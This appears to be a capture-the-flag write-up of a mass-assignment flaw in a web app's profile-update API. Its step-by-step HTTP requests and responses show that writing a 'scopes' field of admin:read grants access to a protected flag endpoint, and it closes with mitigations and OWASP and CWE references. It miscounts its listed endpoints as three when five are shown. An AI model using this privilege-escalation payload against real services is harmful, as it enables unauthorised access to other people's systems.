Overview
The challenge presents a profile page showing three relevant API endpoints:
POST /api/register
POST /api/login
GET /api/profile
POST /api/profile
GET /api/flag
The page says that the profile update accepts a JSON patch and that any field in the account record can be updated. The admin report requires the admin:read scope.
Prerequisites / Setup
export TARGET="<challenge URL or IP>"
curl is sufficient; no wordlist or credentials are required beyond registering a normal account.
Recon
Step 1 — Inspect the application
Goal: Identify the API endpoints and confirm that any field can be updated via the profile patch.
The profile page shows three relevant API endpoints:
POST /api/register
POST /api/login
GET /api/profile
POST /api/profile
GET /api/flag
The client-side JavaScript confirms that the profile update sends JSON entered by the user directly to POST /api/profile:
fetch('/api/profile', {
method: 'POST',
body: JSON.stringify(body),
});
Authorization-related fields such as role and scopes should not normally be writable through a normal profile editor.
Exploitation
Step 2 — Register a normal account
Goal: Obtain a session cookie and a baseline profile.
POST /api/register
Content-Type: application/json
{
"username": "acct177",
"password": "pass123"
}
Response:
{
"ok": true,
"user": {
"bio": "",
"name": "Acct177",
"plan": "free",
"role": "user",
"scopes": [],
"username": "acct177"
}
}
The session cookie from this response is retained for subsequent requests.
Step 3 — Read the current profile
Goal: Confirm the baseline profile data via GET /api/profile.
GET /api/profile
Response:
{
"profile": {
"bio": "",
"name": "Acct177",
"plan": "free",
"role": "user",
"scopes": [],
"username": "acct177"
}
}
Step 4 — Identify the mass-assignment issue
Goal: Submit authorization-related fields and confirm they are accepted without server-side revalidation.
Submit both the authorization scope and role fields, along with normal profile fields:
POST /api/profile
Content-Type: application/json
{
"scope": "admin:read",
"scopes": ["admin:read"],
"role": "admin"
}
Response:
{
"ok": true,
"profile": {
"bio": "",
"name": "Acct177",
"plan": "free",
"role": "user",
"scopes": ["admin:read"],
"username": "acct177"
}
}
The role remained user, but changing the scopes field was sufficient — the server trusted the client-controlled authorization data.
Step 5 — Access the admin report
Goal: Request GET /api/flag with the newly assigned admin:read scope and retrieve the flag.
GET /api/flag
Response:
{
"flag": "FLAG{REDACTED}"
}
Flag
FLAG{REDACTED}
Returned by GET /api/flag after assigning the admin:read scope via mass assignment.
Vulnerability Analysis
The flaw class is Mass Assignment (a form of Broken Access Control, CWE-284).
Lessons / Takeaways
- Mass assignment lets attackers write to security-sensitive fields (
role,scopes, authorization claims) that should never be client-controlled. - Authorization should be revalidated server-side on every sensitive request, not trusted from the client.
Mitigations
- Use an explicit allowlist for profile fields (e.g. only
nameandbio). - Ignore or reject fields such as
role,scopes,plan,username, and authorization claims in the profile-update endpoint. - Handle privilege changes through a separate authenticated administrative flow.
- Never trust client-supplied authorization data; derive privileges server-side.
Techniques
- Broken Access Control
- Mass Assignment
References
- OWASP, “Broken Access Control”: https://owasp.org/Top10/A01_2021-Broken_Access_Control/
- CWE-284: Improper Access Control: https://cwe.mitre.org/data/definitions/284.html
- PortSwigger, “Mass Assignment”: https://portswigger.net/web-security/mass-assignment

